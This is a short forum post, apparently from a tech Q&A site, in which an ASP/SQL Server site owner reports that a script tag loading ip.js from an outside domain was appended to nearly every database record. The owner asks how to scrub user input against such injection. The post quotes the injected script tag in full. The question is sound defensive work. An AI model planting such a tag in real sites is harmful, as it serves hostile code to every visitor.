How to scrub user input to prevent malicous scripts being uploaded to a sql dbase via asp.

I'm running a website using asp/SQL Server.  I just discovered that the following script <script src=http://www.r<script src=http://www.ririwow.cn/ip.js></script> was appeneded to every record in just about every table in my SQL database.  Someone on this site had suggested to another member that they scrub user input to prevent this from happening in the future.  Can someone give me an example of how to scrub for something like the above?  Thanks for the help.Start Free Trial